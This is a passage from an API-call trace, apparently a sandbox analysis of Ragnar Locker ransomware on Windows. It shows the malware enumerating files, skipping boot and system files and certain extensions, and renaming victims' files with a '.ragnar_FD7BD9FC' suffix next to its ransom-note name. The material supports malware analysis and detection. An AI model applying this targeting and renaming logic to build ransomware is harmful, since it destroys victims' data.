ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0053.589] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.589] lstrcpyW (in: lpString1=0x1eab62, lpString2="rtscom.dll.mui" | out: lpString1="rtscom.dll.mui") returned="rtscom.dll.mui" [0053.589] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned=".mui" [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="autorun.inf") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="boot.ini") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="bootfont.bin") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="bootsect.bak") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="bootmgr") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="bootmgr.efi") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="bootmgfw.efi") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="desktop.ini") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="iconcache.db") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="ntldr") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="ntuser.dat") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="ntuser.dat.log") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="ntuser.ini") returned 1 [0053.589] lstrcmpiW (lpString1="rtscom.dll.mui", lpString2="thumbs.db") returned -1 [0053.589] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.589] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.589] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.590] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.590] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.590] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.590] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.590] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0053.590] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.590] CloseHandle (hObject=0xffffffff) returned 0 [0053.590] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" [0053.590] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.ragnar_FD7BD9FC" [0053.590] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.590] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0053.590] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.590] lstrcpyW (in: lpString1=0x1eab62, lpString2="ShapeCollector.exe.mui" | out: lpString1="ShapeCollector.exe.mui") returned="ShapeCollector.exe.mui" [0053.590] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned=".mui" [0053.590] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0053.590] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="autorun.inf") returned 1 [0053.590] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="boot.ini") returned 1 [0053.590] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="bootfont.bin") returned 1 [0053.590] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="bootsect.bak") returned 1 [0053.590] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="bootmgr") returned 1 [0053.590] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="bootmgr.efi") returned 1 [0053.590] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="bootmgfw.efi") returned 1 [0053.590] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="desktop.ini") returned 1 [0053.590] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="iconcache.db") returned 1 [0053.591] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="ntldr") returned 1 [0053.591] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="ntuser.dat") returned 1 [0053.591] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="ntuser.dat.log") returned 1 [0053.591] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="ntuser.ini") returned 1 [0053.591] lstrcmpiW (lpString1="ShapeCollector.exe.mui", lpString2="thumbs.db") returned -1 [0053.591] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.591] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.591] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.591] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.591] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.591] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.591] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.591] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0053.591] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.591] CloseHandle (hObject=0xffffffff) returned 0 [0053.591] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" [0053.591] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.ragnar_FD7BD9FC" [0053.591] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.591] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0053.591] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.591] lstrcpyW (in: lpString1=0x1eab62, lpString2="split.avi" | out: lpString1="split.avi") returned="split.avi" [0053.591] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned=".avi" [0053.591] lstrcmpiW (lpString1="split.avi", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0053.591] lstrcmpiW (lpString1="split.avi", lpString2="autorun.inf") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="boot.ini") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="bootfont.bin") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="bootsect.bak") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="bootmgr") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="bootmgr.efi") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="bootmgfw.efi") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="desktop.ini") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="iconcache.db") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="ntldr") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="ntuser.dat") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="ntuser.dat.log") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="ntuser.ini") returned 1 [0053.592] lstrcmpiW (lpString1="split.avi", lpString2="thumbs.db") returned -1 [0053.592] lstrcmpiW (lpString1=".avi", lpString2=".db") returned -1 [0053.592] lstrcmpiW (lpString1=".avi", lpString2=".sys") returned -1 [0053.592] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0053.592] lstrcmpiW (lpString1=".avi", lpString2=".lnk") returned -1 [0053.592] lstrcmpiW (lpString1=".avi", lpString2=".msi") returned -1 [0053.592] lstrcmpiW (lpString1=".avi", lpString2=".drv") returned -1 [0053.592] lstrcmpiW (lpString1=".avi", lpString2=".exe") returned -1 [0053.592] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0053.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.592] CloseHandle (hObject=0xffffffff) returned 0 [0053.592] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" [0053.592] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.ragnar_FD7BD9FC" [0053.592] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.593] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0053.593] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.593] lstrcpyW (in: lpString1=0x1eab62, lpString2="tabskb.dll.mui" | out: lpString1="tabskb.dll.mui") returned="tabskb.dll.mui" [0053.593] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned=".mui" [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="autorun.inf") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="boot.ini") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="bootfont.bin") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="bootsect.bak") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="bootmgr") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="bootmgr.efi") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="bootmgfw.efi") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="desktop.ini") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="iconcache.db") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="ntldr") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="ntuser.dat") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="ntuser.dat.log") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="ntuser.ini") returned 1 [0053.593] lstrcmpiW (lpString1="tabskb.dll.mui", lpString2="thumbs.db") returned -1 [0053.593] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.593] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.593] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.593] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.593] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.593] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.593] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.593] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0053.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0053.634] CloseHandle (hObject=0xffffffff) returned 0 [0053.634] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" [0053.634] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.ragnar_FD7BD9FC" [0053.634] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0053.634] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0053.634] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0053.634] lstrcpyW (in: lpString1=0x1eab62, lpString2="TipBand.dll.mui" | out: lpString1="TipBand.dll.mui") returned="TipBand.dll.mui" [0053.634] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned=".mui" [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="autorun.inf") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="boot.ini") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="bootfont.bin") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="bootsect.bak") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="bootmgr") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="bootmgr.efi") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="bootmgfw.efi") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="desktop.ini") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="iconcache.db") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="ntldr") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="ntuser.dat") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="ntuser.dat.log") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="ntuser.ini") returned 1 [0053.634] lstrcmpiW (lpString1="TipBand.dll.mui", lpString2="thumbs.db") returned 1 [0053.634] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0053.634] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0053.634] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0053.635] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0053.635] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0053.635] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0053.635] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0053.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0054.625] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0054.625] CloseHandle (hObject=0xffffffff) returned 0 [0054.625] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" [0054.625] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui.ragnar_FD7BD9FC" [0054.625] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0054.626] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0054.626] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0054.626] lstrcpyW (in: lpString1=0x1eab62, lpString2="TipRes.dll.mui" | out: lpString1="TipRes.dll.mui") returned="TipRes.dll.mui" [0054.626] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui") returned=".mui" [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="autorun.inf") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="boot.ini") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="bootfont.bin") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="bootsect.bak") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="bootmgr") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="bootmgr.efi") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="bootmgfw.efi") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="desktop.ini") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="iconcache.db") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="ntldr") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="ntuser.dat") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="ntuser.dat.log") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="ntuser.ini") returned 1 [0054.626] lstrcmpiW (lpString1="TipRes.dll.mui", lpString2="thumbs.db") returned 1 [0054.626] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0054.626] 